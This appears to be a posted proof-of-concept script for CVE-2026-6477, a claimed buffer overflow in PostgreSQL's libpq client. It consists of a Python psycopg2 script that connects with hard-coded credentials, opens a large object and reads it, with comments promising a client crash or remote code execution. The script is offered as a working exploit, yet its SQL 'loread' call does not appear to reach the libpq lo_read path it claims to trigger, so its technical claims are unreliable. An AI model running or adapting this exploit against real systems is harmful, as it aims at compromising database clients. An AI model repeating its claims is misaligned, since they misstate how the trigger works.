CVE-2026-6477 PostgreSQL libpq缓冲区溢出漏洞

/* * PoC for CVE-2026-6477 * This script demonstrates the client-side trigger (lo_read). * Exploitation requires a malicious PostgreSQL server sending oversized data. */ import psycopg2 import sys try: # Connect to the target PostgreSQL database # Note: The server side must be malicious or compromised to exploit this conn = psycopg2.connect( dbname="testdb", user="postgres", password="password", host="127.0.0.1", port="5432" ) conn.autocommit = True cursor = conn.cursor() # Create a large object (OID) # In a real exploit scenario, the malicious server handles the response cursor.execute("SELECT lo_create(0)") loid = cursor.fetchone()[0] print(f"Created Large Object with OID: {loid}") # Attempt to open and read the large object # This triggers the vulnerable lo_read() function in libpq # If the server sends a huge response, a stack buffer overflow occurs cursor.execute("SELECT lo_open(%s, %s)", (loid, 0x20000)) fd = cursor.fetchone()[0] # Reading data triggers PQfn with result_is_int=0 cursor.execute("SELECT loread(%s, 1000)", (fd,)) data = cursor.fetchone()[0] print("Read operation completed (Check client crash/RCE)") # Cleanup cursor.execute("SELECT lo_unlink(%s)", (loid,)) except Exception as e: print(f"Error: {e}") finally: if 'conn' in locals(): conn.close()